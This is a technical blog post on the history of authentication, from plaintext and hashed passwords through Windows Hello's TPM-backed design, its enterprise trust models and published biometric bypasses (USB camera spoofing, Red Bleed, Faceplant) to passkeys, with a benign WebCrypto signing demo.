&lt;p&gt;Corbato&apos;s CTSS stored passwords in plaintext [@wiki-password] in a file accessible to administrators. The model was simple: the user enters a string, the system compares it to a stored copy, and access is granted on match. The key assumption -- that only the legitimate user knows the password -- held exactly as long as the system remained uncompromised. Which was about five years.&lt;/p&gt;
&lt;h3&gt;Generation 1: Hashed passwords (1970s)&lt;/h3&gt;
&lt;p&gt;The obvious fix: do not store passwords in plaintext. In 1979, Robert Morris and Ken Thompson published the design behind UNIX&apos;s &lt;code&gt;crypt()&lt;/code&gt; function [@wiki-crypt], a one-way hash based on a modified DES algorithm with a 12-bit salt. Even if an attacker stole the hash file, they could not directly read the passwords. They would have to try every possible password and compare hashes -- a brute-force attack.&lt;/p&gt;
&lt;p&gt;For a while, that was computationally infeasible. Then Moore&apos;s Law caught up. By the late 1990s, EFF&apos;s DES Cracker and distributed.net had reduced 56-bit DES keysearch to &lt;strong&gt;22 hours and 15 minutes&lt;/strong&gt; [@eff-des], making DES-based &lt;code&gt;crypt()&lt;/code&gt; increasingly untenable against well-funded attackers. Users also chose weak, predictable passwords, and attackers built rainbow tables that mapped common passwords to their hashes instantly.&lt;/p&gt;
&lt;p&gt;Windows made this worse. LAN Manager (LM) hashes [@ms-lm-hash] uppercased every password, limited them to 14 characters, and split them into two 7-byte halves hashed independently.The LM hash design was spectacularly bad. By splitting a 14-character password into two 7-character halves, it reduced the brute-force search space from 95^14 to 2 x 95^7 -- a reduction of over 34 trillion times. An attacker could crack each half separately.&lt;/p&gt;
&lt;p&gt;Rainbow tables could crack LM hashes in seconds. Microsoft eventually disabled LM hashing by default in Windows Vista, but the damage to enterprise networks had been done.&lt;/p&gt;
&lt;h3&gt;Generation 2: Network challenge-response (1990s)&lt;/h3&gt;
&lt;p&gt;The next insight: stop transmitting passwords over the network. NTLM [@ms-lm-hash] used a challenge-response protocol -- the server sends a random nonce, the client computes a response using the nonce and the password hash, and the server verifies the response. The password never crosses the wire.&lt;/p&gt;
&lt;p&gt;Kerberos [@ms-kerberos], adopted in Windows 2000, improved further with mutual authentication, time-limited tickets, and single sign-on. It was elegant protocol engineering.&lt;/p&gt;
&lt;p&gt;But the fundamental problem remained: shared secrets. NTLM was vulnerable to pass-the-hash attacks [@mitre-pth] -- an attacker who obtains the password hash can authenticate without ever knowing the password. Kerberos tickets could be stolen (Golden Ticket, Silver Ticket attacks). Both systems still depended on users choosing strong passwords, which they consistently failed to do.&lt;/p&gt;
&lt;h3&gt;Generation 3: First software biometrics (2000s)&lt;/h3&gt;
&lt;p&gt;By the early 2000s, fingerprint readers appeared on Windows laptops. The idea was appealing: replace &quot;something you know&quot; with &quot;something you are.&quot; No password to remember, no password to steal.&lt;/p&gt;
&lt;p&gt;Microsoft introduced the Windows Biometric Framework (WBF) [@ms-wbf] in Windows 7 (2009), standardizing the API and driver interface. Before WBF, each fingerprint reader vendor -- AuthenTec, Validity, UPEK -- shipped proprietary middleware that injected into the Windows logon process. The result was inconsistent security, driver conflicts, and no centralized management.&lt;/p&gt;
&lt;p&gt;But WBF solved the wrong problem. It standardized the API while leaving the security model unchanged: biometric templates stored with weak encryption in user-accessible files, matching running in OS user space, and no hardware isolation whatsoever.&lt;/p&gt;
&lt;p&gt;In 2002, Tsutomu Matsumoto at Yokohama National University demonstrated the &quot;gummy finger&quot; attack -- creating gelatin replicas of fingerprints that fooled approximately 80% of commercial readers [@gummy-finger]. The materials cost just a few dollars. Without liveness detection and hardware protection, biometrics were security theater.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The pattern was unmistakable.&lt;/strong&gt; Each generation protected a different layer -- plaintext storage, hash computation, network transmission, biometric convenience -- but each left the next layer exposed. By 2013, passwords were fundamentally broken, and software-only biometrics were not the answer. Then Apple proved something nobody expected.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The Catalyst: How Touch ID Changed Everything&lt;/h2&gt;
&lt;p&gt;September 2013. Apple unveils the iPhone 5S [@apple-touchid] with a fingerprint sensor embedded in the home button. It was not the first phone with a fingerprint reader -- Motorola&apos;s ATRIX 4G shipped with a biometric fingerprint reader in 2011 [@motorola-atrix]. But it was the first one that hundreds of millions of people actually used.&lt;/p&gt;
&lt;p&gt;What made Touch ID different was not the sensor. It was the Secure Enclave -- a dedicated secure subsystem integrated into Apple&apos;s system-on-chip and isolated from the main processor [@apple-secure-enclave]. The enclave runs its own microkernel, stores biometric material in protected memory, and keeps the matching pipeline outside the reach of normal iOS processes. Apple designed it so the biometric path stayed inside the enclave boundary rather than becoming just another app-visible API.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Apple controlled the sensor, the SoC, the Secure Enclave hardware, and iOS. This vertical integration meant the entire biometric pipeline -- from sensor capture through template matching to key release -- could be designed as a single trust chain. No Windows OEM could match this in 2013 because the sensor, CPU, and OS came from three different vendors with no unified security model.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That architecture established a pattern that Windows Hello would later follow with the TPM. Both isolate secrets in hardware, but they do different jobs: the Secure Enclave is a richer coprocessor that protects both biometric processing and keys, while the TPM is a narrower trust anchor for key storage, signing, and attestation. Apple&apos;s newer Secure Enclave documentation also emphasizes encrypted enclave memory, whereas Windows later needed ESS and &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;VBS&lt;/a&gt; to give its broader PC system a comparable isolation boundary [@apple-secure-enclave; @ms-ess].&lt;/p&gt;
&lt;p&gt;Touch ID proved two things simultaneously: that consumer biometrics could be both secure and delightful, and that the key to secure biometrics was hardware isolation, not better algorithms.&lt;/p&gt;
&lt;p&gt;The FIDO Alliance had already been working on the standards side. Founded in July 2012 [@fido-launch] by Michael Barrett (PayPal&apos;s CISO), Ramesh Kesanupalli (Nok Nok Labs), and partners including Lenovo, Validity Sensors, and Infineon, the Alliance set out to create open standards for strong authentication that would replace passwords. Its first protocols split the problem in two: UAF defined a passwordless flow where a device-local biometric or PIN unlocks a per-service key pair [@fido-uaf], while U2F defined a hardware-token second factor that signs a challenge after the user taps the device [@fido-u2f]. FIDO2 later unified these ideas into the WebAuthn + CTAP stack used for passkeys today [@fido-how].&lt;/p&gt;
&lt;p&gt;The convergence was forming: consumer demand (Apple proved people wanted biometrics), open standards (FIDO defined how it should work), and enterprise need (Microsoft tracked thousands of password attacks per second). Apple showed &lt;em&gt;what&lt;/em&gt; was possible. The FIDO Alliance defined &lt;em&gt;how&lt;/em&gt; it should work. Microsoft was about to show how to do it at the scale of an entire operating system.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The Breakthrough: Windows Hello&apos;s Architecture&lt;/h2&gt;
&lt;p&gt;On March 17, 2015, Joe Belfiore announced Windows Hello. The key insight was not an algorithm -- it was an architecture. What if the biometric never leaves the device, and the authentication secret is a cryptographic key that even the server never sees?&lt;/p&gt;

A dedicated security chip soldered to a computer&apos;s motherboard (or implemented in firmware) that generates, stores, and manages cryptographic keys. The TPM can create key pairs where the private key is physically bound to the chip and cannot be exported -- even the operating system cannot extract it. Windows Hello uses TPM 2.0 to seal authentication keys.

A cryptographic system using two mathematically related keys: a public key (shared openly) and a private key (kept secret). Data encrypted with one key can only be decrypted with the other. In Windows Hello, the TPM holds the private key and signs authentication challenges; the server holds only the public key, which is useless to an attacker.
&lt;p&gt;Here is how Windows Hello authentication [@ms-whfb] works:&lt;/p&gt;

sequenceDiagram
    participant U as User
    participant B as Biometric Sensor
    participant D as Device OS
    participant T as TPM Chip
    participant S as Identity Server
    U-&amp;gt;&amp;gt;B: Present face or fingerprint
    B-&amp;gt;&amp;gt;D: Capture biometric sample
    D-&amp;gt;&amp;gt;D: Match against stored template
    Note over D: Local verification only
    D-&amp;gt;&amp;gt;T: Request private key release
    T-&amp;gt;&amp;gt;T: Verify TPM-bound policy
    T--&amp;gt;&amp;gt;D: Private key available for signing
    S-&amp;gt;&amp;gt;D: Send challenge nonce
    D-&amp;gt;&amp;gt;D: Sign nonce with private key
    D-&amp;gt;&amp;gt;S: Return signed assertion
    S-&amp;gt;&amp;gt;S: Verify signature with public key
    S-&amp;gt;&amp;gt;D: Authentication success
&lt;p&gt;&lt;strong&gt;Step 1: Enrollment.&lt;/strong&gt; The TPM generates an asymmetric key pair -- RSA-2048 or ECDSA P-256. The private key is sealed inside the TPM and cannot be exported. The public key is registered with the identity provider (Azure AD, Entra ID, or on-premises AD) [@ms-whfb].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Biometric enrollment.&lt;/strong&gt; The user registers their face (via a near-infrared camera) or fingerprint. The biometric template is stored locally on the device, protected by the OS.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Authentication.&lt;/strong&gt; The user presents their biometric gesture. The device verifies it locally against the stored template. If the match succeeds, the TPM releases the private key. The identity server sends a random challenge nonce; the device signs it with the private key and returns the signed assertion. The server verifies the signature using the stored public key. No shared secret ever crosses the network.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Windows Hello&apos;s breakthrough was architectural, not algorithmic. By pairing biometrics with hardware-backed asymmetric cryptography, it eliminated shared secrets entirely. No biometric data ever leaves the device. No password hash sits on a server waiting to be stolen. Each authentication is a fresh, unreplayable cryptographic signature.&lt;/p&gt;
&lt;/blockquote&gt;

The probability that a biometric system incorrectly accepts an unauthorized person. Windows Hello requires a facial recognition FAR below 0.001% (1 in 100,000) [@ms-biometric-reqs]. Apple&apos;s Face ID is documented at less than 0.0001% (1 in 1,000,000) for a single enrolled face [@apple-faceid-security]. Lower is better -- but zero is theoretically impossible.

A camera technology that captures light in the 700--1000 nanometer wavelength range, invisible to the human eye. Windows Hello uses NIR cameras because infrared illumination works regardless of ambient lighting and is harder to spoof with printed photos or screens -- standard displays do not emit near-infrared light. Or so everyone assumed until 2025.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Without a TPM, Windows Hello falls back to software key storage, dramatically weakening the security model. The private key becomes a file protected by the OS rather than a secret sealed in tamper-resistant silicon. Always verify TPM 2.0 is present and active before relying on Hello&apos;s security properties.&lt;/p&gt;
&lt;/blockquote&gt;

A Trusted Platform Module is not a general-purpose processor. It is a purpose-built chip (or firmware module) designed for a narrow set of cryptographic operations: key generation, key storage, signing, and attestation.&lt;p&gt;When Windows Hello enrolls a user, the TPM generates a key pair using its internal random number generator. The private key never exists outside the chip&apos;s boundary -- it is generated inside the TPM and stays there. The TPM enforces access policies: it will only release the key for signing after the device OS confirms that the biometric match succeeded. Even a compromised operating system kernel cannot extract the private key from a hardware TPM.&lt;/p&gt;
&lt;p&gt;This is fundamentally different from software key storage, where the key is a file on disk that any sufficiently privileged process can read.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;The PIN paradox&lt;/h3&gt;
&lt;p&gt;Windows Hello also revived the humble PIN -- and made it more secure than a complex password. A Hello PIN [@ms-whfb] is device-bound: it unlocks the TPM-stored private key on that specific device. A stolen PIN is useless without physical access to the hardware. Compare this to a password, which works from any device on earth. A 4-digit PIN on Windows Hello is architecturally more secure than a 20-character password reused across services.Microsoft Passport was briefly announced as a separate product in early 2015 -- the cryptographic key infrastructure behind Windows Hello. By late 2015, the branding was merged. &quot;Microsoft Passport&quot; was retired and its functionality absorbed into &quot;Windows Hello&quot; and &quot;Windows Hello for Business.&quot; The separate brand caused market confusion and was quickly abandoned.&lt;/p&gt;
&lt;p&gt;The biometric FAR can be expressed mathematically. For a face recognition system with $n$ enrolled users and a per-comparison FAR of $p$, the probability of at least one false acceptance across all comparisons is:&lt;/p&gt;
&lt;p&gt;$$P(\text{false accept}) = 1 - (1 - p)^n$$&lt;/p&gt;
&lt;p&gt;For Windows Hello&apos;s required FAR of $10^{-5}$ [@ms-biometric-reqs] and a single user, this gives a 0.001% chance per authentication attempt. With 1,000 attempts, the cumulative probability rises to roughly 1% -- which is why lockout policies and anti-hammering protections exist.&lt;/p&gt;
&lt;p&gt;{`
// This demonstrates the core idea behind Windows Hello&apos;s authentication.
// In the real system, the private key lives in the TPM and never leaves.&lt;/p&gt;
&lt;p&gt;async function simulateHelloAuth() {
  // Step 1: Enrollment -- generate key pair (TPM does this in hardware)
  const keyPair = await crypto.subtle.generateKey(
    { name: &quot;ECDSA&quot;, namedCurve: &quot;P-256&quot; },
    true, // extractable for demo only; TPM keys are NOT extractable
    [&quot;sign&quot;, &quot;verify&quot;]
  );
  console.log(&quot;Key pair generated (simulating TPM enrollment)&quot;);&lt;/p&gt;
&lt;p&gt;  // Step 2: Server sends a challenge nonce
  const challenge = crypto.getRandomValues(new Uint8Array(32));
  console.log(&quot;Server challenge:&quot;, Array.from(challenge.slice(0, 8)).map(b =&amp;gt; b.toString(16).padStart(2, &apos;0&apos;)).join(&apos;&apos;));&lt;/p&gt;
&lt;p&gt;  // Step 3: Device signs the challenge with the private key
  const signature = await crypto.subtle.sign(
    { name: &quot;ECDSA&quot;, hash: &quot;SHA-256&quot; },
    keyPair.privateKey,
    challenge
  );
  console.log(&quot;Signed assertion:&quot;, new Uint8Array(signature).slice(0, 16).join(&apos;,&apos;) + &apos;...&apos;);&lt;/p&gt;
&lt;p&gt;  // Step 4: Server verifies with the public key
  const valid = await crypto.subtle.verify(
    { name: &quot;ECDSA&quot;, hash: &quot;SHA-256&quot; },
    keyPair.publicKey,
    signature,
    challenge
  );
  console.log(&quot;Server verification:&quot;, valid ? &quot;SUCCESS&quot; : &quot;FAILED&quot;);
  console.log(&quot;\nNote: The private key never left the device.&quot;);
  console.log(&quot;The server only has the public key -- useless to an attacker.&quot;);
}&lt;/p&gt;
&lt;p&gt;simulateHelloAuth();
`}&lt;/p&gt;
&lt;p&gt;Windows Hello solved the fundamental password problem: no shared secrets ever traverse the network. But the story does not end here -- because researchers would soon discover that protecting the key was not enough if you could not trust the camera.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The Enterprise Gambit: Windows Hello for Business&lt;/h2&gt;
&lt;p&gt;Windows Hello delighted consumers. But enterprise IT administrators asked a harder question: how do I deploy this to 50,000 machines managed by Active Directory?&lt;/p&gt;

The W3C Web Authentication API -- a browser standard that lets websites request public-key-based authentication from platform authenticators (like Windows Hello) or roaming authenticators (like security keys). WebAuthn became a W3C Recommendation on March 4, 2019, forming the browser-side component of the FIDO2 standard alongside CTAP (Client-to-Authenticator Protocol).
&lt;p&gt;Windows Hello for Business (WHfB) [@ms-whfb] launched in 2016 with two trust types, each carrying its own infrastructure burden:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Certificate Trust&lt;/strong&gt; required a full Public Key Infrastructure -- a Certificate Authority hierarchy, CRL distribution points, certificate templates, and ADFS (Active Directory Federation Services). For organizations that already had PKI, this was a natural fit. For everyone else, it meant weeks of setup.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Trust&lt;/strong&gt; required Windows Server 2016+ domain controllers with AD schema extensions. Simpler than Certificate Trust, but still demanded on-premises infrastructure that many cloud-first organizations were trying to eliminate.Yogesh Mehta, Principal Group Program Manager at Microsoft, evangelized Windows Hello for Business at Ignite 2016. He would later be credited as a key figure in the FIDO2 certification effort. The original Belfiore blog post URL announcing Windows Hello is now lost to link rot.&lt;/p&gt;
&lt;p&gt;Two milestones accelerated adoption. In March 2019, WebAuthn became a W3C Recommendation [@w3c-webauthn] -- a universal browser API for public-key authentication. Android had already been FIDO2-certified in February 2019 [@fido-android-certification]; two months after WebAuthn&apos;s recommendation, Windows Hello became one of the first FIDO2-certified platform authenticators built into a desktop operating system [@fido-certification]. Together, these meant that Windows Hello could authenticate not just to Windows, but to any FIDO2-supporting website through any modern browser.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Unless you have specific PKI requirements, Cloud Trust -- announced by Microsoft in 2022 [@ms-cloud-trust-ga] -- eliminates much of the complexity of certificate and key trust deployments. It requires Entra ID configuration and Microsoft Entra Kerberos rather than a full on-prem PKI or ADFS stack, which is why Microsoft now treats it as the default recommendation for many hybrid organizations.&lt;/p&gt;
&lt;/blockquote&gt;


flowchart TD
    A[Choose a WHfB Trust Model] --&amp;gt; B{Cloud-native org using Entra ID?}
    B --&amp;gt;|Yes| C[Cloud Trust -- Recommended]
    B --&amp;gt;|No| D{On-prem AD still required?}
    D --&amp;gt;|Yes| E{Existing PKI infrastructure?}
    D --&amp;gt;|No| C
    E --&amp;gt;|Yes| F[Certificate Trust]
    E --&amp;gt;|No| G[Key Trust]
    C --&amp;gt; H[Simplest deployment: Entra ID only]
    F --&amp;gt; I[Most complex: CA + CRL + ADFS]
    G --&amp;gt; J[Moderate: Server 2016+ DCs required]
&lt;p&gt;&lt;strong&gt;Cloud Trust&lt;/strong&gt; delegates all validation to Entra ID. No on-premises PKI, no ADFS, no certificate templates. Best for organizations that are cloud-native or hybrid with Azure AD.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Trust&lt;/strong&gt; requires Windows Server 2016+ domain controllers with AD schema extensions. Choose this if you need on-premises AD support but do not have PKI.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Certificate Trust&lt;/strong&gt; requires the full PKI stack -- CA hierarchy, CRL distribution, ADFS. Choose this only if your organization already has PKI infrastructure and needs certificate-based authentication for regulatory compliance.&lt;/p&gt;
&lt;p&gt;Enterprise deployment was painful -- multiple trust models confused administrators, and adoption was slower than hoped. But it was about to get much worse. In July 2021, a researcher with a low-cost USB board would demonstrate that Windows Hello&apos;s most basic assumption was wrong.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The Security Arms Race: When Researchers Fought Back&lt;/h2&gt;
&lt;p&gt;Omer Tsarfati had a simple question: what happens if you plug in a USB device that &lt;em&gt;claims&lt;/em&gt; to be an IR camera? The answer would force Microsoft to rethink Windows Hello&apos;s entire trust model.&lt;/p&gt;
&lt;h3&gt;The USB camera bypass (CVE-2021-34466)&lt;/h3&gt;
&lt;p&gt;In July 2021, Tsarfati at CyberArk Labs [@cyberark-bypass] revealed that Windows Hello&apos;s facial recognition accepted input from any USB device presenting itself as an IR camera -- with no attestation, no hardware trust verification, and no device identity check.Tsarfati&apos;s attack required only a single IR frame -- not video, not a 3D reconstruction, just one static infrared image of the target&apos;s face. The simplicity of the attack was what made it so alarming.&lt;/p&gt;
&lt;p&gt;Using an NXP evaluation board [@cyberark-bypass], Tsarfati constructed a custom USB device that replayed a single IR frame of a target&apos;s face. Plug it in, and Windows Hello authenticated the attacker as the target. At the time, 85% of Windows 10 users employed Windows Hello [@cyberark-bypass] -- making this a massive attack surface.&lt;/p&gt;
&lt;p&gt;The insight was devastating: the TPM protected the key, but nobody protected the camera. Windows Hello&apos;s threat model assumed trusted camera hardware. The USB specification makes no such guarantee.&lt;/p&gt;

A Windows feature that uses the hardware hypervisor to create an isolated virtual environment (Virtual Trust Level 1, or VTL1) separated from the main OS kernel (VTL0). Even if an attacker gains SYSTEM-level access to the Windows kernel, they cannot read memory in VTL1. Windows Hello&apos;s Enhanced Sign-in Security uses VBS to isolate biometric processing.
&lt;h3&gt;Microsoft&apos;s response: ESS and VBS&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s answer came with Windows 11: Enhanced Sign-in Security (ESS) [@ms-ess], which moved biometric matching into the VBS-protected enclave described above. Even a compromised Windows kernel cannot access templates or tamper with the comparison pipeline there.&lt;/p&gt;

flowchart TD
    subgraph VTL0[&quot;VTL0: Normal OS Environment&quot;]
        A[Windows Kernel]
        B[Applications]
        C[Standard Drivers]
    end
    subgraph VTL1[&quot;VTL1: Secure World -- ESS&quot;]
        D[Biometric Matching Engine]
        E[Encrypted Template Storage]
        F[Credential Isolation]
    end
    G[Hypervisor] --- VTL0
    G --- VTL1
    H[Secure Biometric Sensor] --&amp;gt; D
    A -.-&amp;gt;|Blocked by Hypervisor| D
    B -.-&amp;gt;|Blocked by Hypervisor| E
&lt;p&gt;Alongside ESS, Microsoft rolled out Cloud Trust in 2022 [@ms-cloud-trust-ga], eliminating the need for on-premises PKI for many deployments. Two problems -- biometric isolation and deployment complexity -- were finally being addressed in parallel.&lt;/p&gt;
&lt;h3&gt;Red Bleed: the NIR assumption shatters (CVE-2025-26644)&lt;/h3&gt;
&lt;p&gt;The arms race was not over. In August 2025, researchers Bowen Hu, Kuo Wang, and Chip Hong Chang at Nanyang Technological University presented &quot;Red Bleed&quot; [@red-bleed] at USENIX Security 2025. Microsoft had already patched CVE-2025-26644 [@wiz-cve] in April 2025, but the full attack was now public.&lt;/p&gt;
&lt;p&gt;Windows Hello&apos;s NIR facial recognition relied on a critical assumption: no commercial display can emit near-infrared light. The researchers shattered this assumption [@nvd-red-bleed] with a custom-built LCD screen costing less than $400 that could display NIR images. They trained a Variational Autoencoder to convert widely available RGB photos -- from social media, video calls, public sources -- into convincing NIR facial videos. The result: a presentation attack that bypassed Windows Hello face authentication and prompted liveness-detection hardening [@red-bleed-pdf]. The Red Bleed attack name references the &quot;red bleed&quot; phenomenon in LCD panels where a small amount of near-infrared light leaks through the color filters -- the researchers amplified this effect with a custom panel.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s April 2025 patch strengthened liveness detection and anti-spoofing measures for NIR authentication.&lt;/p&gt;
&lt;h3&gt;Faceplant: the template swap (CVE-2026-20804)&lt;/h3&gt;
&lt;p&gt;The third major attack came from ERNW Research in August 2025. At Black Hat USA 2025, Baptiste David and Tillmann Oßwald&apos;s official conference briefing &quot;Windows Hell No for Business&quot; [@blackhat-windows-hell-no] detailed the Faceplant template-injection attack, which they later documented technically on ERNW&apos;s research blog [@faceplant].&lt;/p&gt;
&lt;p&gt;In practice, an attacker with local administrator privileges could enroll their own face on one machine, extract the resulting template, and transplant it into the victim&apos;s biometric database on the target device. After injection, Windows Hello accepted the attacker&apos;s face for the victim&apos;s account. ERNW traced the weakness to software-protected templates that a local administrator could extract and replace on non-ESS systems [@faceplant].&lt;/p&gt;
&lt;p&gt;ESS blocks this attack completely -- biometric templates in VTL1 are inaccessible even to local administrators. But many enterprise PCs lack ESS-compatible hardware.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Many enterprise PCs -- particularly those shipped without an ESS-certified built-in biometric sensor, including many AMD-based and older Intel-based machines -- lack ESS capability. On these machines, biometric templates remain in software-protected storage vulnerable to the Faceplant attack. Verify hardware compatibility before assuming biometric isolation is active.&lt;/p&gt;
&lt;/blockquote&gt;

flowchart TD
    A[&quot;2015: Windows Hello Launch&quot;] --&amp;gt; B[&quot;2021: CVE-2021-34466\nUSB Camera Spoofing&quot;]
    B --&amp;gt; C[&quot;Microsoft Response:\nESS + VBS Isolation&quot;]
    C --&amp;gt; D[&quot;2025: CVE-2025-26644\nRed Bleed NIR Attack&quot;]
    D --&amp;gt; E[&quot;Microsoft Response:\nLiveness Detection Update&quot;]
    E --&amp;gt; F[&quot;2025: CVE-2026-20804\nFaceplant Template Injection&quot;]
    F --&amp;gt; G[&quot;Defense: ESS Hardware\nIsolation Blocks Attack&quot;]
    G --&amp;gt; H[&quot;Ongoing: Adversarial ML\nArms Race&quot;]
    classDef fake fill:#7a3030,stroke:#c44b4b,color:#fce8e8
    class B fake,stroke:#333
    class D fake,stroke:#333
    class F fake,stroke:#333
    classDef real fill:#2f5a3a,stroke:#5fa872,color:#dff5e4
    class C real,stroke:#333
    class E real,stroke:#333
    class G real,stroke:#333
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Each generation of authentication protected a new layer -- but every layer revealed the next attack surface. The TPM protected the key. ESS protected the biometric pipeline. Liveness detection hardened NIR authentication. Security is never a single solution. It is a stack, and each layer needs its own defense.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The arms race revealed a humbling truth: biometric authentication is not a silver bullet. It is a layered defense -- and each layer needs its own protection. But while researchers probed Windows Hello&apos;s defenses, the industry was converging on something bigger.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The Convergence: Passkeys and the Passwordless Future&lt;/h2&gt;
&lt;p&gt;May 5, 2022. Apple, Google, and Microsoft [@passkeys-announcement] -- three companies that agree on almost nothing -- issued a joint announcement: they were all committing to passkeys.&lt;/p&gt;

A FIDO2/WebAuthn credential built on the same public-key model as Windows Hello. Passkeys can be device-bound (like traditional Hello credentials, stored in the TPM) or synced across devices through a credential manager such as iCloud Keychain or Google Password Manager. The local biometric or PIN check stays on-device; the relying party only sees public keys and signatures.
&lt;p&gt;FIDO2 had a usability problem. Credentials were bound to a single device. Lose your laptop, lose your credentials. Passkeys solved this by introducing synced credentials -- private keys encrypted and distributed across a user&apos;s devices through their platform credential manager. The FIDO Alliance&apos;s protocol [@fido-how] maintained the cryptographic guarantees (no shared secrets, phishing resistance) while adding the portability users demanded.&quot;World Password Day&quot; was symbolically renamed &quot;World Passkey Day&quot; in May 2025, when Microsoft announced that new accounts would default to passwordless authentication.&lt;/p&gt;
&lt;h3&gt;The numbers tell the story&lt;/h3&gt;
&lt;p&gt;By May 2025, Microsoft made new accounts passwordless by default [@ms-passkeys]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nearly 1 million passkey registrations daily [@ms-passkeys]&lt;/li&gt;
&lt;li&gt;98% passkey sign-in success rate [@ms-passkeys] vs. 32% for passwords&lt;/li&gt;
&lt;li&gt;Passkey sign-ins 8x faster [@ms-passkeys] than password + MFA&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How the platforms compare&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Windows Hello (WHfB)&lt;/th&gt;
&lt;th&gt;Apple Face ID / Passkeys&lt;/th&gt;
&lt;th&gt;Google Passkeys&lt;/th&gt;
&lt;th&gt;FIDO2 Hardware Keys&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hardware root of trust&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://paragmali.com/blog/the-tpm-in-windows-one-primitive-twenty-five-years-and-the-c/&quot; rel=&quot;noopener&quot;&gt;TPM 2.0&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Secure Enclave&lt;/td&gt;
&lt;td&gt;TEE / Titan M&lt;/td&gt;
&lt;td&gt;On-key secure element&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Credential sync&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No (device-bound)&lt;/td&gt;
&lt;td&gt;Yes (iCloud Keychain)&lt;/td&gt;
&lt;td&gt;Yes (Google PM)&lt;/td&gt;
&lt;td&gt;No (hardware-bound)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cross-platform&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows only&lt;/td&gt;
&lt;td&gt;Apple + QR/BT bridge&lt;/td&gt;
&lt;td&gt;Android/Chrome + QR/BT&lt;/td&gt;
&lt;td&gt;Universal USB/NFC/BT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;FAR (face)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&amp;lt; 0.001%&lt;/td&gt;
&lt;td&gt;&amp;lt; 0.0001%&lt;/td&gt;
&lt;td&gt;Varies by OEM&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Enterprise management&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Intune, GP, Conditional Access&lt;/td&gt;
&lt;td&gt;Limited (Apple MDM)&lt;/td&gt;
&lt;td&gt;Android Enterprise&lt;/td&gt;
&lt;td&gt;Manual provisioning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Recovery on device loss&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Re-enroll on new device&lt;/td&gt;
&lt;td&gt;iCloud backup restore&lt;/td&gt;
&lt;td&gt;Google Account restore&lt;/td&gt;
&lt;td&gt;Requires backup key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NIST AAL level&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AAL2&lt;/td&gt;
&lt;td&gt;AAL2&lt;/td&gt;
&lt;td&gt;AAL2&lt;/td&gt;
&lt;td&gt;AAL3-eligible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Best suited for&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows enterprise&lt;/td&gt;
&lt;td&gt;Apple platform&lt;/td&gt;
&lt;td&gt;Android / cross-platform web&lt;/td&gt;
&lt;td&gt;High-assurance regulated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Sources: Microsoft biometric requirements [@ms-biometric-reqs], Apple passkey security [@apple-passkeys-security], Google passkeys [@google-passkeys], FIDO specifications [@fido-specs]&lt;/p&gt;
